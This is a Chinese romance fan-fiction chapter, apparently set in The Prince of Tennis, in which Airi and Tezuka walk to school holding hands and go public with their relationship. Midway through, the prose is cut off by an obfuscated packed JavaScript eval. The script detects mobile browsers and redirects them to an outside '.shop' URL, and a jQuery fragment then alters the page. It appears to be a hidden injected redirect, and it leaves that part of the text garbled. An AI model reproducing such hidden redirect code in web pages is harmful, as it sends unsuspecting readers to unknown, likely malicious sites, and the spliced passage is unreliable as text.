从爱莉的家到学校,步行大约二十分钟。
这段路爱莉平时走得很快。她习惯早点到校,在教室里把今天要用的课本整理好,把笔记再过一遍——完美美少女的品格就是要好学勤奋,这是她给自己定下的规矩。
但今天她的脚步不自觉地慢了下来,慢到手冢都察觉了,侧过头看了她一眼。爱莉以为手冢会问点什么,比如“怎么了”或者“是不是累了”。但手冢什么都没说,只是把步伐又放慢了一些,慢到几乎是在散步。
爱莉偷偷弯了弯嘴角。她发现手冢这个人有一种奇怪的能力——明明什么都没做,只是站在那里,或者走在旁边,就能让她觉得心里很满。不需要刻意找话题,不需要做什么特别的事,光是两个人并排走着,就足够让她高兴一整个早上。
她想起以前看过的那些少女漫画,女主角和男主角一起上学的时候,总是会不自觉地放慢脚步。她当时觉得这是一种夸张的表现手法,走路快慢有什么好在意的。现在她知道了,那不是夸张。是真的会变慢。因为想让这段路长一点,再长一点。
爱莉低头看了一眼两个人交握的手。从刚才开始就一直牵着,没有人先松开。手冢的手比她的大很多,骨节分明,掌心干燥温热,握着的力度不紧不松,刚好让她觉得安心,又不会觉得被束缚。
爱莉曾她偷偷盯着手冢的手看过很多次,在学生会办公室里,在网球部的场边,在夕阳下的天台。修长、干净,骨节分明,握笔的时候很好看,端茶杯的时候也很好看。她曾经想过很多次,这只手牵起来会是什么感觉。
现在知道了。
比想象中暖,比想象中有力,比想象中让她心跳加速。
爱莉觉得自己的脸有点热。她偏过头,假装在看路边的樱花树。四月末的东京,樱花基本都掉完了,只剩下光秃秃的叶子,绿不绿黄不黄的,实在算不上好看。但她还是盯着看了好几秒,直到觉得脸上的温度降下来一点,才把目光收回来。
“手冢君喜欢樱花吗?”她随口问了一句,其实只是想听他说说话。
“还行。”
“还行是什么意思?喜欢还是不喜欢?”
手冢想了想,“谈不上喜欢或不喜欢。每年都开,每年都谢,是自然规律。”
爱莉鼓起脸,“你这个人真的好没情趣哦。”
手冢偏过头看了她一眼,镜片后面的眼睛带着一点很淡的笑意。“你昨天也说过一样的话。”
“那是因为你一直没有改进!”
“我在改。”手冢很认真地说。
爱莉愣了一下。“哪里改了?”
手冢沉默了一会儿,像是在斟酌措辞。然后他抬起另一只手指了指路边一棵樱花树。“那棵树的形状不错。”
爱莉顺着他的手指看过去。那是一棵很普通的樱花树,树干微微倾斜,枝条向四周伸展,花基本都落了,只剩几片残瓣挂在枝头,被风吹得一晃一晃的。
“...哪里不错?”
“分枝的角度均匀,受光面分布合理,长势很好。”
爱莉盯着他看了三秒,然后没忍住笑出了声。“手冢君,你这是有情趣吗?”
手冢推了推眼镜,耳根好像红了一点,但声音还是四平八稳的。“我在尝试。”
爱莉笑着摇头,手指在他掌心里轻轻捏了一下。“好吧,进步空间还很大,但态度值得肯定。”
“我会继续努力的。”
他说这句话的语气,和网球部训练结束后说“明天继续”一模一样,认真、笃定、不带任何玩笑的成分。爱莉心想这个人怎么连谈恋爱都这么公事公办,但又觉得这样的手冢国光,才是她喜欢的那个人。
不,不对。爱莉纠正自己——不是“喜欢的那个人”了。是“男朋友”。
男朋友。
这个词在脑子里转了一圈,爱莉觉得心脏又被什么东西撞了一下,砰砰跳了两下。她偷偷深呼吸,让自己看起来正常一点。
转过街角,学校的钟楼已经能看到了。青铜色的钟面在晨光里反着光,指针指向七点四十分。爱莉这才注意到他们已经走了快半个小时——平时她一个人走十五分钟的路,今天硬是走了将近两倍的时间。
“是不是走太慢了?”爱莉问。
“不急。”手冢说。
“可是你平时——”
“今天不急。”手冢重复了一遍,语气很平静,但握着爱莉的手微微收紧了一点。
爱莉没有再说什么。她垂下眼睛,看着两个人交握的手,觉得心里有一种很柔软的情绪在蔓延,像是春天的风,暖洋洋的,让人想闭上眼睛。
校门越来越近了。
已经有零星的学生从四面八方走过来,有人手里拿着便利店的早餐,有人一边走路一边打哈欠。爱莉开始犹豫要不要把手松开——
【这个手,是不是该松开了?也不是不想让人看到...就是觉得没必要这么大张旗鼓吧?而且他可是学生会长啊,要是被人看到牵着我进学校,指不定会被传成什么样...】
她正想着,手指微微动了一下,手冢却握得更紧了。
爱莉抬起头看他。他目视前方,表情和平时一样,没什么变化,但握着她的那只手纹丝不动,没有任何要松开的意思。
“手冢君,”爱莉小声说,“会被看到。”
“嗯。”
“你不介意吗?”
手冢偏过头看了她一眼,目光平静,像是在说一件理所当然的事情。“为什么要介意?”
爱莉张了张嘴,不知道该怎么回答。她想了想,好像确实没有什么好介意的——他们又不是在做什么见不得人的事。只是,手冢国光给人的感觉都是严肃认真、克己复礼的,如果被人看到他谈恋爱....
她突然有点想笑。因为她发现自己在操心的事情,手冢本人一点都不在乎。
“你在担心什么?”手冢问。
“没什么。”爱莉摇头,嘴角翘起来,“就是觉得你比我想象的勇敢多了。”
手冢沉默了一秒。“这不是勇敢。”
“那是什么?”
“是,”手冢顿了顿,像是在找合适的词,“没有藏着的必要。”
爱莉的脚步停了一瞬。
她想起昨天手冢说的话——“我不确定以后还有没有机会”。
这句话爱莉当时听了只觉得难过,现在想起来,心里还是会被什么东西揪一下。手冢知道自己即将要离开,知道剩下的时间不多了,所以不想浪费在任何犹豫和遮掩上面。
这个人,连谈恋爱都带着一种决绝的认真。
爱莉深吸了一口气,把涌上来的那点酸涩压下去,然后也握紧了他的手。
“好。”她说,“那就不藏了。”
两个人十指交握,走进了校门。
门口的风纪委员正在检查校服,看到手冢的时候条件反射地站直了,喊了一声“会长早”,然后目光落在两个人交握的手上,愣了一下,嘴巴张开又合上,表情像是看到了什么不可思议的事情。
手冢微微点头。“早。”
然后他牵着爱莉走了过去,步伐平稳,表情淡然,仿佛牵着爱莉的手走进校门是他每天都会做的事情。
爱莉低着头,忍着笑,快步跟上他的节奏。
她听到身后传来值日生压低声音的惊呼,以及手机相机的快门声。
看来今天青学的论坛群组要炸了。
从校门到教学楼,要穿过一条长长的樱花步道。这条路爱莉每天走两遍,闭着眼睛都能摸到教室,但今天她觉得每一棵树都长得不太一样——也许是晨光的角度问题,也许是心情的问题。
“手冢君。”爱莉忽然开口。
“嗯?”
“如果等一下碰到老师,你也会牵着我的手吗?”
“一样。”
“手冢君你胆子好大哦。”
“爱莉。”手冢打断了她。
“嗯?”
手冢停下脚步,转过身看着她。他的表情很认真,认真到爱莉觉得周围的空气都变得安静了。
“我昨天说的话,每个字都是认真的。”他说,“包括‘喜欢你’,也包括‘时间不多了’。我不想在剩下的时间里做任何需要躲藏的事情。”
爱莉怔住了。
她想过手冢为什么会这么坦荡——是性格使然,是责任感,是那种“既然做了就不怕承认”的一贯作风。但她没有想过,这背后还有一种“来不及了”的紧迫感。
他不想浪费时间。
不想浪费任何一天,任何一小时,任何一次和她并肩走进校门的机会。
“好。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17369719|196327||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”爱莉说,声音比自己预想的要哑一点,“那就这样。”
手冢看了她一眼,似乎想说什么,但最后只是点了点头,转身继续往前走。
爱莉跟上去,重新握住他的手。这一次她没有再犹豫,也没有再东张西望,就那么大大方方地牵着他,走过樱花步道,走过喷水池,走过公告栏。路上碰到几个早到的学生,有人看了一眼然后迅速低下头,有人盯着看了好几秒才反应过来,有人直接愣在原地忘记走路。
爱莉一开始还有点不自在,但走了一段之后反而放松了。她发现被人看到也没有想象中那么可怕。无非就是被议论几句,被拍几张照片,被传到论坛上供人围观。这些事她转学第一天就经历过了,没什么大不了的。
而且——
她侧过头看了一眼手冢的侧脸。他目不斜视,表情淡然,下颌线绷出一个好看的弧度。
而且和他站在一起,好像什么事情都变得没那么可怕了。
教学楼走廊里已经有一些早到的学生了。有人抱着扫帚在打扫卫生,有人在走廊尽头聊天,有人从教室里探出头来张望。
当手冢和爱莉并肩走过的时候,所有声音都消失了。
那种安静是很有节奏感的——先是近处的谈话声戛然而止,然后是中段有人倒吸了一口凉气,再然后是走廊尽头传来一声声压低的“不是吧”、“天哪”。
走到二年组走廊的时候,前方传来一阵急促的脚步声。菊丸英二从拐角处冒出来,手里拿着一瓶牛奶,嘴里还叼着半个面包,看起来像是在赶时间。他看到手冢和爱莉的瞬间,条件反射地想打招呼,然后目光往下移,看到了两个人交握的手。
面包掉在了地上。
“手、手冢?!”菊丸的声音高了八度,猫瞳瞪得溜圆,“你你你你们——”
“早。”手冢面不改色地打招呼。
“早什么早啊!不是!你们这是——”菊丸的手指在两人之间来回指,嘴巴张张合合,像是CPU过载把猫脑烧坏了,“牵手?!在牵手?!”
“嗯。”手冢说。
菊丸的表情从震惊变成了茫然,又从茫然变成了兴奋。他的嘴张了又合,合了又张,最后挤出一句:“其他人知道吗?”
“还不知道。”手冢说,“你可以在群里告诉他们。”
菊丸瞪大了眼睛。那双漂亮的猫瞳扑闪扑闪,然后瞳孔骤然收缩,仿佛瞬间接收了什么信号。
紧接着菊丸低头开始掏手机,动作之快,牛奶差点又掉了第二次。他一边掏一边往后退,嘴里念念有词:“我要告诉大石...我要告诉不二子....我要告诉所有人!!”
爱莉看着他手忙脚乱的样子,忍不住轻声笑了一下。
“菊丸君,面包掉了哦。”她指了指地上的半个面包。
菊丸低头看了一眼,又抬头看了她一眼,脸“腾”地红了。那个红色从脖子一路烧到耳尖,和他那头红发几乎融为一体。
“啊、那个、谢谢、不是、我——”
“先去上课吧。”手冢打断了他的语无伦次。
菊丸像是得到了特赦令一样,蹲下去捡起面包,然后朝两人鞠了个躬,转身就跑。跑了两步又回头看了一眼,差点撞上走廊的柱子。他的声音从走廊尽头飘过来,带着一种劫后余生的兴奋和某种近乎狂热的使命感:
“哈哈哈哈!!!我要告诉所有人!”
脚步声和叫喊声渐渐远去,走廊重新安静下来。
爱莉看着菊丸消失的方向,终于没忍住笑出了声。她笑得肩膀轻轻发抖,眼角都弯了起来,整个人靠在手冢的手臂上,像是站不太稳。
“你故意的吧?”她侧过头看手冢,眼眶里还带着一点笑出来的水光。
“什么?”
“你故意刺激他。什么叫做‘你可以在群里告诉他们’?”
手冢的表情没有任何变化。“我只是在回答问题。”
爱莉盯着他看了两秒。那张脸还是那副不苟言笑的严肃样子,但她现在总觉得能在那张脸的某些细微之处读出点别的什么来。
“手冢君。”
“嗯?”
“你有时候挺坏的吧。”
手冢没有回答这个问题。他只是重新握紧了她的手,迈步往前走。
“走吧,别迟到了。”